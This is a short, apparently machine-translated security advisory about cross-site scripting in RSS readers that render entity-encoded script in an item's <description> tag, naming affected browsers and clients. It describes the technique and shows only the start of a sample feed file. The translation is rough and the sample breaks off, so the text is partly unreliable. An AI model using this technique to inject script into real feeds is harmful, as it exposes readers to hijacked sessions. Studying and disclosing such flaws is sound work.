Multiple RSS readers have XSS vulnerabilities

Source: Internet
Author: User

Affected Systems:

Call the following kernel to parse the RSS feed:

Internet explorer ver <= IE7 (other versions are not tested and are estimated to be available)

OPERA ver <= 9.52

The following reader vulnerabilities:

Sina diantong 1.1.0.8 is currently the highest

Zhou botong 4.0 (28031409) is currently the highest

Travel 2.1.4.443 (currently the highest) RSS sidebar

... Do not list them one by one.

Unaffected system:

GOOGLE's RSS reader, because this RSS reader does not call the IE kernel to parse <description>, but is parsed and output as html.

Description:

IE and OPERA parse the <description> label content under <item> in RSS as follows:

First, use HTML encoding to decrypt the content (for example, '& lt;' is parsed as '<'), and then execute the HTML code.

This resolution method causes some RSS reading tools to filter this out, resulting in an XSS vulnerability.

Test method:
Enter the HTML-encoded JS code in the content of the <description> tag, for example:
Rss. xml Code

<? Xml version = "1.0" encoding = "UTF-8"?> <? Xml-stylesheet href = kxlzx. xsl type = text/xsl?>
